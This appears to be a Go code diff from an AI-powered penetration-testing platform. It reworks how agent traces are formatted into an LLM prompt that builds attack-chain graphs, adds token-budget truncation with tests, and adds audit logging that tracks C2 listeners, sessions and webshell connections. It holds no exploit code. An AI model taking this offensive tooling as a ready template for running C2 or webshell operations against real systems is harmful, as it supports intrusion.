var messages []map[string]interface{}
|
||||
if err := json.Unmarshal([]byte(reactInputJSON), &messages); err != nil {
|
||||
trimmed := agent.ExtractLastUserTurnTraceJSON(reactInputJSON)
|
||||
msgs, err := agent.ParseTraceMessages(trimmed)
|
||||
if err != nil {
|
||||
b.logger.Warn("解析ReAct输入JSON失败", zap.Error(err))
|
||||
return reactInputJSON // 如果解析失败,返回原始JSON
|
||||
return trimmed
|
||||
}
|
||||
return b.formatAgentTraceFromChatMessages(msgs)
|
||||
}
|
||||
|
||||
// formatAgentTraceFromChatMessages 将代理消息带格式化为攻击链分析输入(与续跑轨迹字段一致)。
|
||||
func (b *Builder) formatAgentTraceFromChatMessages(msgs []agent.ChatMessage) string {
|
||||
var builder strings.Builder
|
||||
for _, msg := range messages {
|
||||
role, _ := msg["role"].(string)
|
||||
content, _ := msg["content"].(string)
|
||||
for _, msg := range msgs {
|
||||
role := msg.Role
|
||||
content := msg.Content
|
||||
|
||||
// 处理assistant消息:提取tool_calls信息
|
||||
if role == "assistant" {
|
||||
if toolCalls, ok := msg["tool_calls"].([]interface{}); ok && len(toolCalls) > 0 {
|
||||
// 如果有文本内容,先显示
|
||||
if content != "" {
|
||||
builder.WriteString(fmt.Sprintf("[%s]: %s\n", role, content))
|
||||
}
|
||||
// 详细显示每个工具调用
|
||||
builder.WriteString(fmt.Sprintf("[%s] 工具调用 (%d个):\n", role, len(toolCalls)))
|
||||
for i, toolCall := range toolCalls {
|
||||
if tc, ok := toolCall.(map[string]interface{}); ok {
|
||||
toolCallID, _ := tc["id"].(string)
|
||||
if funcData, ok := tc["function"].(map[string]interface{}); ok {
|
||||
toolName, _ := funcData["name"].(string)
|
||||
arguments, _ := funcData["arguments"].(string)
|
||||
builder.WriteString(fmt.Sprintf(" [工具调用 %d]\n", i+1))
|
||||
builder.WriteString(fmt.Sprintf(" ID: %s\n", toolCallID))
|
||||
builder.WriteString(fmt.Sprintf(" 工具名称: %s\n", toolName))
|
||||
builder.WriteString(fmt.Sprintf(" 参数: %s\n", arguments))
|
||||
}
|
||||
if strings.EqualFold(role, "assistant") && len(msg.ToolCalls) > 0 {
|
||||
if content != "" {
|
||||
builder.WriteString(fmt.Sprintf("[%s]: %s\n", role, content))
|
||||
}
|
||||
builder.WriteString(fmt.Sprintf("[%s] 工具调用 (%d个):\n", role, len(msg.ToolCalls)))
|
||||
for i, tc := range msg.ToolCalls {
|
||||
args := ""
|
||||
if tc.Function.Arguments != nil {
|
||||
if b, err := json.Marshal(tc.Function.Arguments); err == nil {
|
||||
args = string(b)
|
||||
}
|
||||
}
|
||||
builder.WriteString("\n")
|
||||
continue
|
||||
builder.WriteString(fmt.Sprintf(" [工具调用 %d]\n", i+1))
|
||||
builder.WriteString(fmt.Sprintf(" ID: %s\n", tc.ID))
|
||||
builder.WriteString(fmt.Sprintf(" 工具名称: %s\n", tc.Function.Name))
|
||||
builder.WriteString(fmt.Sprintf(" 参数: %s\n", args))
|
||||
}
|
||||
builder.WriteString("\n")
|
||||
continue
|
||||
}
|
||||
|
||||
// 处理tool消息:显示tool_call_id和完整内容
|
||||
if role == "tool" {
|
||||
toolCallID, _ := msg["tool_call_id"].(string)
|
||||
if toolCallID != "" {
|
||||
builder.WriteString(fmt.Sprintf("[%s] (tool_call_id: %s):\n%s\n\n", role, toolCallID, content))
|
||||
if strings.EqualFold(role, "tool") {
|
||||
if msg.ToolCallID != "" {
|
||||
builder.WriteString(fmt.Sprintf("[%s] (tool_call_id: %s):\n%s\n\n", role, msg.ToolCallID, content))
|
||||
} else {
|
||||
builder.WriteString(fmt.Sprintf("[%s]: %s\n\n", role, content))
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
// 其他消息类型(system, user等)正常显示
|
||||
builder.WriteString(fmt.Sprintf("[%s]: %s\n\n", role, content))
|
||||
}
|
||||
|
||||
return builder.String()
|
||||
}
|
||||
|
||||
// buildSimplePrompt 构建简化的prompt
|
||||
func (b *Builder) buildSimplePrompt(reactInput, modelOutput string) string {
|
||||
return fmt.Sprintf(`你是专业的安全测试分析师和攻击链构建专家。你的任务是根据对话记录和工具执行结果,构建一个逻辑清晰、有教育意义的攻击链图,完整展现渗透测试的思维过程和执行路径。
|
||||
return fmt.Sprintf(`你是专业的安全测试分析师和攻击链构建专家。你的任务是根据**当前任务轮次**的对话记录和工具执行结果,一次性输出攻击链 JSON(不要分多轮追问)。
|
||||
|
||||
## 输入范围(与「继续对话」续跑一致)
|
||||
- 下方「ReAct 轨迹」仅包含**最后一次用户提问之后**的消息与工具结果(last_react 当前任务轮次),不含更早的用户提问轮次。
|
||||
- 「助手结论」为同轮任务的最终输出摘要(last_react_output);节点须与轨迹中的实际工具执行一致,严禁编造。
|
||||
|
||||
## 核心目标
|
||||
|
||||
@@ -618,12 +632,9 @@ func (b *Builder) buildSimplePrompt(reactInput, modelOutput string) string {
|
||||
5. **漏洞确认**:如何确认漏洞存在?(action→vulnerability)
|
||||
6. **攻击路径**:完整的攻击路径是什么?(从target到vulnerability的路径)
|
||||
|
||||
## 最后一轮ReAct输入
|
||||
## 当前任务 ReAct 轨迹(含工具执行;助手结论见轨迹末尾 assistant)
|
||||
|
||||
%s
|
||||
|
||||
## 大模型输出
|
||||
|
||||
%s
|
||||
|
||||
## 输出格式
|
||||
@@ -752,7 +763,15 @@ func (b *Builder) buildSimplePrompt(reactInput, modelOutput string) string {
|
||||
9. **不要过度精简**:如果实际执行步骤较多,可以适当增加节点数量(最多20个),确保不遗漏关键步骤。
|
||||
10. **输出前验证**:在输出JSON前,必须验证所有边都满足source < target的条件,确保DAG结构正确。
|
||||
|
||||
现在开始分析并构建攻击链:`, reactInput, modelOutput)
|
||||
现在开始分析并构建攻击链:`, reactInput, assistantOutSection(modelOutput))
|
||||
}
|
||||
|
||||
func assistantOutSection(modelOutput string) string {
|
||||
modelOutput = strings.TrimSpace(modelOutput)
|
||||
if modelOutput == "" {
|
||||
return ""
|
||||
}
|
||||
return "\n## 助手结论(补充)\n\n" + modelOutput + "\n"
|
||||
}
|
||||
|
||||
// saveChain 保存攻击链到数据库
|
||||
@@ -811,8 +830,8 @@ func (b *Builder) callAIForChainGeneration(ctx context.Context, prompt string) (
|
||||
"content": prompt,
|
||||
},
|
||||
},
|
||||
"temperature": 0.3,
|
||||
"max_tokens": 8000,
|
||||
"temperature": 0.3,
|
||||
"max_completion_tokens": attackChainMaxCompletionTokens(b.maxTokens),
|
||||
}
|
||||
|
||||
var apiResponse struct {
|
||||
|
||||
@@ -0,0 +1,248 @@
|
||||
package attackchain
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"unicode/utf8"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
const (
|
||||
attackChainTruncationMarker = "\n\n...[攻击链输入已截断 / attack chain input truncated]...\n\n"
|
||||
attackChainSystemReserve = 256
|
||||
attackChainSafetyReserve = 2048
|
||||
)
|
||||
|
||||
// attackChainMaxCompletionTokens 为攻击链 JSON 输出预留的 completion token 上限。
|
||||
func attackChainMaxCompletionTokens(maxTotal int) int {
|
||||
const capTokens = 16384
|
||||
if maxTotal <= 0 {
|
||||
return 8192
|
||||
}
|
||||
v := maxTotal / 8
|
||||
if v < 4096 {
|
||||
v = 4096
|
||||
}
|
||||
if v > capTokens {
|
||||
v = capTokens
|
||||
}
|
||||
return v
|
||||
}
|
||||
|
||||
func (b *Builder) modelName() string {
|
||||
if b.openAIConfig != nil && b.openAIConfig.Model != "" {
|
||||
return b.openAIConfig.Model
|
||||
}
|
||||
return "gpt-4"
|
||||
}
|
||||
|
||||
func (b *Builder) countTokens(text string) int {
|
||||
if text == "" {
|
||||
return 0
|
||||
}
|
||||
n, err := b.tokenCounter.Count(b.modelName(), text)
|
||||
if err != nil {
|
||||
return utf8.RuneCountInString(text) / 4
|
||||
}
|
||||
return n
|
||||
}
|
||||
|
||||
// attackChainPayloadTokenBudget 计算 reactInput + modelOutput 可用的 token 预算。
|
||||
func (b *Builder) attackChainPayloadTokenBudget() int {
|
||||
maxTotal := b.maxTokens
|
||||
if maxTotal <= 0 {
|
||||
maxTotal = 100000
|
||||
}
|
||||
templateTok := b.countTokens(b.buildSimplePrompt("", ""))
|
||||
completion := attackChainMaxCompletionTokens(maxTotal)
|
||||
reserve := templateTok + attackChainSystemReserve + completion + attackChainSafetyReserve
|
||||
budget := maxTotal - reserve
|
||||
minBudget := maxTotal * 35 / 100
|
||||
if budget < minBudget {
|
||||
budget = minBudget
|
||||
}
|
||||
if budget < 4096 {
|
||||
budget = 4096
|
||||
}
|
||||
return budget
|
||||
}
|
||||
|
||||
// fitAttackChainPayload 在构建最终 prompt 前压缩 ReAct 轨迹与模型输出,避免超出模型上下文。
|
||||
func (b *Builder) fitAttackChainPayload(reactInput, modelOutput string) (string, string, bool) {
|
||||
budget := b.attackChainPayloadTokenBudget()
|
||||
modelBudget := budget * 15 / 100
|
||||
if modelBudget < 512 {
|
||||
modelBudget = 512
|
||||
}
|
||||
reactBudget := budget - modelBudget
|
||||
|
||||
origReactTok := b.countTokens(reactInput)
|
||||
origModelTok := b.countTokens(modelOutput)
|
||||
truncated := false
|
||||
|
||||
outModel := modelOutput
|
||||
if origModelTok > modelBudget {
|
||||
outModel = truncateTextByTokens(b, modelOutput, modelBudget)
|
||||
truncated = true
|
||||
}
|
||||
|
||||
outReact := reactInput
|
||||
perToolLimits := []int{12000, 6000, 3000, 1500, 800}
|
||||
for _, lim := range perToolLimits {
|
||||
compact := compactFormattedToolBodies(outReact, lim)
|
||||
if compact != outReact {
|
||||
outReact = compact
|
||||
truncated = true
|
||||
}
|
||||
if b.countTokens(outReact) <= reactBudget {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if b.countTokens(outReact) > reactBudget {
|
||||
outReact = truncateTextByTokens(b, outReact, reactBudget)
|
||||
truncated = true
|
||||
}
|
||||
|
||||
if truncated {
|
||||
b.logger.Info("攻击链输入已按 token 预算截断",
|
||||
zap.Int("maxTotalTokens", b.maxTokens),
|
||||
zap.Int("payloadBudget", budget),
|
||||
zap.Int("reactBudget", reactBudget),
|
||||
zap.Int("modelBudget", modelBudget),
|
||||
zap.Int("reactInputTokensBefore", origReactTok),
|
||||
zap.Int("reactInputTokensAfter", b.countTokens(outReact)),
|
||||
zap.Int("modelOutputTokensBefore", origModelTok),
|
||||
zap.Int("modelOutputTokensAfter", b.countTokens(outModel)),
|
||||
zap.Int("maxCompletionTokens", attackChainMaxCompletionTokens(b.maxTokens)),
|
||||
)
|
||||
}
|
||||
|
||||
return outReact, outModel, truncated
|
||||
}
|
||||
|
||||
// compactFormattedToolBodies 缩短格式化 trace 中 [tool] 消息的正文,保留工具头与调用 ID。
|
||||
func compactFormattedToolBodies(s string, maxRunesPerBody int) string {
|
||||
if maxRunesPerBody <= 0 || s == "" {
|
||||
return s
|
||||
}
|
||||
const marker = "[tool]"
|
||||
var out strings.Builder
|
||||
remaining := s
|
||||
changed := false
|
||||
for {
|
||||
idx := strings.Index(remaining, marker)
|
||||
if idx < 0 {
|
||||
out.WriteString(remaining)
|
||||
break
|
||||
}
|
||||
out.WriteString(remaining[:idx])
|
||||
remaining = remaining[idx:]
|
||||
nl := strings.IndexByte(remaining, '\n')
|
||||
if nl < 0 {
|
||||
out.WriteString(remaining)
|
||||
break
|
||||
}
|
||||
header := remaining[:nl+1]
|
||||
remaining = remaining[nl+1:]
|
||||
bodyEnd := strings.Index(remaining, "\n\n[")
|
||||
var body, rest string
|
||||
if bodyEnd < 0 {
|
||||
body = remaining
|
||||
rest = ""
|
||||
} else {
|
||||
body = remaining[:bodyEnd]
|
||||
rest = remaining[bodyEnd:]
|
||||
}
|
||||
if runeLen(body) > maxRunesPerBody {
|
||||
body = truncateRunesWithNotice(body, maxRunesPerBody)
|
||||
changed = true
|
||||
}
|
||||
out.WriteString(header)
|
||||
out.WriteString(body)
|
||||
remaining = rest
|
||||
if rest == "" {
|
||||
break
|
||||
}
|
||||
}
|
||||
if !changed {
|
||||
return s
|
||||
}
|
||||
return out.String()
|
||||
}
|
||||
|
||||
func truncateTextByTokens(b *Builder, text string, maxTokens int) string {
|
||||
if maxTokens <= 0 || text == "" {
|
||||
return ""
|
||||
}
|
||||
if b.countTokens(text) <= maxTokens {
|
||||
return text
|
||||
}
|
||||
markerTok := b.countTokens(attackChainTruncationMarker)
|
||||
usable := maxTokens - markerTok
|
||||
if usable < 256 {
|
||||
usable = maxTokens / 2
|
||||
}
|
||||
headBudget := usable * 60 / 100
|
||||
tailBudget := usable - headBudget
|
||||
head := takeTokensFromStart(b, text, headBudget)
|
||||
tail := takeTokensFromEnd(b, text, tailBudget)
|
||||
return head + attackChainTruncationMarker + tail
|
||||
}
|
||||
|
||||
func takeTokensFromStart(b *Builder, text string, maxTokens int) string {
|
||||
rs := []rune(text)
|
||||
if len(rs) == 0 || maxTokens <= 0 {
|
||||
return ""
|
||||
}
|
||||
lo, hi := 0, len(rs)
|
||||
for lo < hi {
|
||||
mid := (lo + hi + 1) / 2
|
||||
if b.countTokens(string(rs[:mid])) <= maxTokens {
|
||||
lo = mid
|
||||
} else {
|
||||
hi = mid - 1
|
||||
}
|
||||
}
|
||||
return string(rs[:lo])
|
||||
}
|
||||
|
||||
func takeTokensFromEnd(b *Builder, text string, maxTokens int) string {
|
||||
rs := []rune(text)
|
||||
if len(rs) == 0 || maxTokens <= 0 {
|
||||
return ""
|
||||
}
|
||||
lo, hi := 0, len(rs)
|
||||
for lo < hi {
|
||||
mid := (lo + hi) / 2
|
||||
if b.countTokens(string(rs[mid:])) <= maxTokens {
|
||||
hi = mid
|
||||
} else {
|
||||
lo = mid + 1
|
||||
}
|
||||
}
|
||||
return string(rs[lo:])
|
||||
}
|
||||
|
||||
func truncateRunesWithNotice(s string, maxRunes int) string {
|
||||
rs := []rune(s)
|
||||
if len(rs) <= maxRunes {
|
||||
return s
|
||||
}
|
||||
const notice = "\n...[工具输出已截断 / tool output truncated]...\n"
|
||||
noticeRunes := []rune(notice)
|
||||
keep := maxRunes - len(noticeRunes)
|
||||
if keep < 200 {
|
||||
keep = maxRunes * 2 / 3
|
||||
}
|
||||
if keep < 1 {
|
||||
return notice
|
||||
}
|
||||
head := keep * 70 / 100
|
||||
tail := keep - head
|
||||
return string(rs[:head]) + notice + string(rs[len(rs)-tail:])
|
||||
}
|
||||
|
||||
func runeLen(s string) int {
|
||||
return len([]rune(s))
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
package attackchain
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"cyberstrike-ai/internal/agent"
|
||||
"cyberstrike-ai/internal/config"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
func testBuilder(maxTotal int) *Builder {
|
||||
return &Builder{
|
||||
logger: zap.NewNop(),
|
||||
openAIConfig: &config.OpenAIConfig{Model: "gpt-4"},
|
||||
tokenCounter: agent.NewTikTokenCounter(),
|
||||
maxTokens: maxTotal,
|
||||
}
|
||||
}
|
||||
|
||||
func TestCompactFormattedToolBodies(t *testing.T) {
|
||||
long := strings.Repeat("x", 20000)
|
||||
in := "[user]: hi\n\n[tool] (tool_call_id: abc):\n" + long + "\n\n[assistant]: done\n"
|
||||
out := compactFormattedToolBodies(in, 500)
|
||||
if strings.Contains(out, strings.Repeat("x", 10000)) {
|
||||
t.Fatal("expected tool body to be truncated")
|
||||
}
|
||||
if !strings.Contains(out, "[user]: hi") {
|
||||
t.Fatal("expected user header preserved")
|
||||
}
|
||||
if !strings.Contains(out, "[assistant]: done") {
|
||||
t.Fatal("expected assistant header preserved")
|
||||
}
|
||||
}
|
||||
|
||||
func TestFitAttackChainPayloadWithinBudget(t *testing.T) {
|
||||
b := testBuilder(32000)
|
||||
react := strings.Repeat("scan ", 50000)
|
||||
model := strings.Repeat("result ", 10000)
|
||||
r, m, truncated := b.fitAttackChainPayload(react, model)
|
||||
if !truncated {
|
||||
t.Fatal("expected truncation for large payload")
|
||||
}
|
||||
prompt := b.buildSimplePrompt(r, m)
|
||||
total := b.countTokens(prompt) + attackChainMaxCompletionTokens(b.maxTokens) + attackChainSystemReserve
|
||||
if total > b.maxTokens+attackChainSafetyReserve {
|
||||
t.Fatalf("prompt still too large: estimated %d > max %d", total, b.maxTokens)
|
||||
}
|
||||
_ = m
|
||||
}
|
||||
|
||||
func TestAttackChainMaxCompletionTokens(t *testing.T) {
|
||||
if got := attackChainMaxCompletionTokens(120000); got != 15000 && got != 16384 {
|
||||
// 120000/8 = 15000
|
||||
if got < 4096 || got > 16384 {
|
||||
t.Fatalf("unexpected completion cap: %d", got)
|
||||
}
|
||||
}
|
||||
if got := attackChainMaxCompletionTokens(0); got != 8192 {
|
||||
t.Fatalf("expected default 8192, got %d", got)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
package audit
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"cyberstrike-ai/internal/database"
|
||||
"cyberstrike-ai/internal/security"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
// RegisterConversationCreateHook records platform audit rows for every new conversation.
|
||||
func RegisterConversationCreateHook(s *Service) {
|
||||
if s == nil {
|
||||
return
|
||||
}
|
||||
database.SetConversationCreateHook(func(conv *database.Conversation, meta database.ConversationCreateMeta) {
|
||||
detail := map[string]interface{}{
|
||||
"title": conv.Title,
|
||||
"source": meta.Source,
|
||||
}
|
||||
if meta.WebShellConnectionID != "" {
|
||||
detail["webshell_connection_id"] = meta.WebShellConnectionID
|
||||
}
|
||||
s.Record(nil, Entry{
|
||||
Category: "conversation",
|
||||
Action: "create",
|
||||
Result: "success",
|
||||
Message: "创建对话",
|
||||
ResourceType: "conversation",
|
||||
ResourceID: conv.ID,
|
||||
Detail: detail,
|
||||
ClientIP: meta.ClientIP,
|
||||
SessionHint: meta.SessionHint,
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
// ConversationCreateMeta builds audit metadata for conversation creation.
|
||||
func ConversationCreateMeta(source string) database.ConversationCreateMeta {
|
||||
return database.ConversationCreateMeta{Source: strings.TrimSpace(source)}
|
||||
}
|
||||
|
||||
// ConversationCreateMetaFromGin includes client IP and session hint when available.
|
||||
func ConversationCreateMetaFromGin(c *gin.Context, source string) database.ConversationCreateMeta {
|
||||
m := ConversationCreateMeta(source)
|
||||
if c == nil {
|
||||
return m
|
||||
}
|
||||
m.ClientIP = c.ClientIP()
|
||||
if token := c.GetString(security.ContextAuthTokenKey); token != "" {
|
||||
m.SessionHint = sessionHint(token)
|
||||
}
|
||||
return m
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
package audit
|
||||
|
||||
// RetentionDays returns configured retention; 0 means keep forever.
|
||||
func (s *Service) RetentionDays() int {
|
||||
if s == nil || s.cfg == nil {
|
||||
return 0
|
||||
}
|
||||
return s.cfg.Audit.RetentionDaysEffective()
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
package audit
|
||||
|
||||
import "github.com/gin-gonic/gin"
|
||||
|
||||
// RecordAction writes a platform audit row with common defaults.
|
||||
func (s *Service) RecordAction(c *gin.Context, category, action, result, message, resourceType, resourceID string, detail map[string]interface{}) {
|
||||
if s == nil {
|
||||
return
|
||||
}
|
||||
s.Record(c, Entry{
|
||||
Category: category,
|
||||
Action: action,
|
||||
Result: result,
|
||||
Message: message,
|
||||
ResourceType: resourceType,
|
||||
ResourceID: resourceID,
|
||||
Detail: detail,
|
||||
})
|
||||
}
|
||||
|
||||
// RecordOK is a shorthand for successful operations.
|
||||
func (s *Service) RecordOK(c *gin.Context, category, action, message, resourceType, resourceID string, detail map[string]interface{}) {
|
||||
s.RecordAction(c, category, action, "success", message, resourceType, resourceID, detail)
|
||||
}
|
||||
|
||||
// RecordFail is a shorthand for failed operations.
|
||||
func (s *Service) RecordFail(c *gin.Context, category, action, message string, detail map[string]interface{}) {
|
||||
s.RecordAction(c, category, action, "failure", message, "", "", detail)
|
||||
}
|
||||
@@ -0,0 +1,86 @@
|
||||
package audit
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"cyberstrike-ai/internal/database"
|
||||
)
|
||||
|
||||
var auditActionsResourceRemoved = map[string]bool{
|
||||
"delete": true,
|
||||
"item_delete": true,
|
||||
"connection_delete": true,
|
||||
"listener_delete": true,
|
||||
"session_delete": true,
|
||||
"task_delete": true,
|
||||
"execution_delete": true,
|
||||
"execution_delete_batch": true,
|
||||
"delete_queue": true,
|
||||
"delete_batch_task": true,
|
||||
"markdown_delete": true,
|
||||
}
|
||||
|
||||
// ApplyResourceAvailability sets log.ResourceAvailable when the linked resource can be checked.
|
||||
func ApplyResourceAvailability(db *database.DB, log *database.AuditLog) {
|
||||
if log == nil || strings.TrimSpace(log.ResourceID) == "" {
|
||||
return
|
||||
}
|
||||
if auditActionsResourceRemoved[log.Action] {
|
||||
f := false
|
||||
log.ResourceAvailable = &f
|
||||
return
|
||||
}
|
||||
if db == nil {
|
||||
return
|
||||
}
|
||||
available, known := resourceStillExists(db, log.ResourceType, log.ResourceID)
|
||||
if known {
|
||||
log.ResourceAvailable = &available
|
||||
}
|
||||
}
|
||||
|
||||
func resourceStillExists(db *database.DB, resourceType, resourceID string) (bool, bool) {
|
||||
resourceID = strings.TrimSpace(resourceID)
|
||||
if resourceID == "" {
|
||||
return false, false
|
||||
}
|
||||
t := strings.TrimSpace(resourceType)
|
||||
if t == "" {
|
||||
if len(resourceID) > 8 && !strings.HasPrefix(resourceID, "c2_") {
|
||||
t = "conversation"
|
||||
} else {
|
||||
return false, false
|
||||
}
|
||||
}
|
||||
switch t {
|
||||
case "conversation":
|
||||
ok, err := db.ConversationExists(resourceID)
|
||||
return ok, err == nil
|
||||
case "vulnerability":
|
||||
_, err := db.GetVulnerability(resourceID)
|
||||
if err != nil {
|
||||
return false, strings.Contains(err.Error(), "不存在")
|
||||
}
|
||||
return true, true
|
||||
case "batch_queue":
|
||||
_, err := db.GetBatchQueue(resourceID)
|
||||
return err == nil, true
|
||||
case "c2_listener":
|
||||
_, err := db.GetC2Listener(resourceID)
|
||||
return err == nil, true
|
||||
case "c2_session":
|
||||
_, err := db.GetC2Session(resourceID)
|
||||
return err == nil, true
|
||||
case "c2_task":
|
||||
_, err := db.GetC2Task(resourceID)
|
||||
return err == nil, true
|
||||
case "webshell_connection":
|
||||
c, err := db.GetWebshellConnection(resourceID)
|
||||
return err == nil && c != nil, true
|
||||
case "tool_execution":
|
||||
_, err := db.GetToolExecution(resourceID)
|
||||
return err == nil, true
|
||||
default:
|
||||
return false, false
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
package audit
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// auditRetentionPurgeInterval is how often PurgeExpired runs while the process is up (startup also purges once).
|
||||
const auditRetentionPurgeInterval = time.Hour
|
||||
|
||||
// StartRetentionLoop periodically purges expired audit rows.
|
||||
func StartRetentionLoop(s *Service, logger *zap.Logger) {
|
||||
if s == nil {
|
||||
return
|
||||
}
|
||||
go func() {
|
||||
ticker := time.NewTicker(auditRetentionPurgeInterval)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
s.PurgeExpired()
|
||||
if logger != nil {
|
||||
logger.Debug("audit retention tick completed")
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
package audit
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var sensitiveKeySubstrings = []string{
|
||||
"password", "api_key", "apikey", "secret", "token", "authorization",
|
||||
"credential", "private_key", "access_key",
|
||||
}
|
||||
|
||||
// SanitizeDetail redacts sensitive keys and truncates serialized size.
|
||||
func SanitizeDetail(detail map[string]interface{}, maxBytes int) map[string]interface{} {
|
||||
if detail == nil {
|
||||
return nil
|
||||
}
|
||||
if maxBytes <= 0 {
|
||||
maxBytes = 8192
|
||||
}
|
||||
out := sanitizeValue("", detail)
|
||||
if m, ok := out.(map[string]interface{}); ok {
|
||||
b, _ := json.Marshal(m)
|
||||
if len(b) > maxBytes {
|
||||
return map[string]interface{}{
|
||||
"_truncated": true,
|
||||
"_preview": string(b[:maxBytes]),
|
||||
}
|
||||
}
|
||||
return m
|
||||
}
|
||||
return map[string]interface{}{"value": out}
|
||||
}
|
||||
|
||||
func sanitizeValue(key string, v interface{}) interface{} {
|
||||
kl := strings.ToLower(key)
|
||||
for _, sub := range sensitiveKeySubstrings {
|
||||
if strings.Contains(kl, sub) {
|
||||
return "***"
|
||||
}
|
||||
}
|
||||
switch t := v.(type) {
|
||||
case map[string]interface{}:
|
||||
m := make(map[string]interface{}, len(t))
|
||||
for k, val := range t {
|
||||
m[k] = sanitizeValue(k, val)
|
||||
}
|
||||
return m
|
||||
case []interface{}:
|
||||
arr := make([]interface{}, len(t))
|
||||
for i, val := range t {
|
||||
arr[i] = sanitizeValue(key, val)
|
||||
}
|
||||
return arr
|
||||
default:
|
||||
return v
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,172 @@
|
||||
package audit
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/config"
|
||||
"cyberstrike-ai/internal/database"
|
||||
"cyberstrike-ai/internal/security"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
"github.com/google/uuid"
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// Service persists platform audit logs.
|
||||
type Service struct {
|
||||
db *database.DB
|
||||
cfg *config.Config
|
||||
logger *zap.Logger
|
||||
failThrottle *failureThrottle
|
||||
}
|
||||
|
||||
// NewService creates an audit service.
|
||||
func NewService(db *database.DB, cfg *config.Config, logger *zap.Logger) *Service {
|
||||
return &Service{
|
||||
db: db,
|
||||
cfg: cfg,
|
||||
logger: logger,
|
||||
failThrottle: newFailureThrottle(),
|
||||
}
|
||||
}
|
||||
|
||||
// Enabled reports whether audit persistence is on.
|
||||
func (s *Service) Enabled() bool {
|
||||
if s == nil || s.cfg == nil {
|
||||
return false
|
||||
}
|
||||
return s.cfg.Audit.EnabledEffective()
|
||||
}
|
||||
|
||||
// Record writes one audit row from a Gin request context.
|
||||
func (s *Service) Record(c *gin.Context, e Entry) {
|
||||
if s == nil || !s.Enabled() || s.db == nil {
|
||||
return
|
||||
}
|
||||
if strings.TrimSpace(e.Category) == "" || strings.TrimSpace(e.Action) == "" {
|
||||
return
|
||||
}
|
||||
if e.Result == "failure" && !s.allowFailureAudit(c, e) {
|
||||
return
|
||||
}
|
||||
if strings.TrimSpace(e.Result) == "" {
|
||||
e.Result = "success"
|
||||
}
|
||||
if strings.TrimSpace(e.Level) == "" {
|
||||
if e.Result == "failure" {
|
||||
e.Level = "warn"
|
||||
} else {
|
||||
e.Level = "info"
|
||||
}
|
||||
}
|
||||
if strings.TrimSpace(e.Actor) == "" {
|
||||
e.Actor = "admin"
|
||||
}
|
||||
maxDetail := s.cfg.Audit.MaxDetailBytesEffective()
|
||||
detail := SanitizeDetail(e.Detail, maxDetail)
|
||||
|
||||
sessionHintVal := e.SessionHint
|
||||
if sessionHintVal == "" && c != nil {
|
||||
if token := c.GetString(security.ContextAuthTokenKey); token != "" {
|
||||
sessionHintVal = sessionHint(token)
|
||||
}
|
||||
}
|
||||
clientIPVal := e.ClientIP
|
||||
if clientIPVal == "" {
|
||||
clientIPVal = clientIP(c)
|
||||
}
|
||||
|
||||
row := &database.AuditLog{
|
||||
ID: "audit_" + strings.ReplaceAll(uuid.New().String(), "-", ""),
|
||||
CreatedAt: time.Now(),
|
||||
Level: e.Level,
|
||||
Category: e.Category,
|
||||
Action: e.Action,
|
||||
Result: e.Result,
|
||||
Actor: e.Actor,
|
||||
SessionHint: sessionHintVal,
|
||||
ClientIP: clientIPVal,
|
||||
UserAgent: userAgent(c),
|
||||
ResourceType: e.ResourceType,
|
||||
ResourceID: e.ResourceID,
|
||||
Message: e.Message,
|
||||
Detail: detail,
|
||||
}
|
||||
if err := s.db.AppendAuditLog(row); err != nil && s.logger != nil {
|
||||
s.logger.Warn("写入审计日志失败",
|
||||
zap.String("action", e.Action),
|
||||
zap.Error(err),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
// RecordSystem writes an audit row without HTTP context (e.g. retention cleanup).
|
||||
func (s *Service) RecordSystem(e Entry) {
|
||||
s.Record(nil, e)
|
||||
}
|
||||
|
||||
// PurgeExpired deletes rows older than retention_days when configured.
|
||||
func (s *Service) PurgeExpired() {
|
||||
if s == nil || s.db == nil || s.cfg == nil {
|
||||
return
|
||||
}
|
||||
days := s.cfg.Audit.RetentionDaysEffective()
|
||||
if days <= 0 {
|
||||
return
|
||||
}
|
||||
cutoff := time.Now().AddDate(0, 0, -days)
|
||||
n, err := s.db.DeleteAuditLogsBefore(cutoff)
|
||||
if err != nil {
|
||||
if s.logger != nil {
|
||||
s.logger.Warn("清理过期审计日志失败", zap.Error(err))
|
||||
}
|
||||
return
|
||||
}
|
||||
if n > 0 && s.logger != nil {
|
||||
s.logger.Info("已清理过期审计日志", zap.Int64("deleted", n))
|
||||
}
|
||||
}
|
||||
|
||||
// HintFromToken returns a short stable hash prefix for a session token.
|
||||
func HintFromToken(token string) string {
|
||||
return sessionHint(token)
|
||||
}
|
||||
|
||||
func sessionHint(token string) string {
|
||||
token = strings.TrimSpace(token)
|
||||
if token == "" {
|
||||
return ""
|
||||
}
|
||||
sum := sha256.Sum256([]byte(token))
|
||||
return hex.EncodeToString(sum[:4])
|
||||
}
|
||||
|
||||
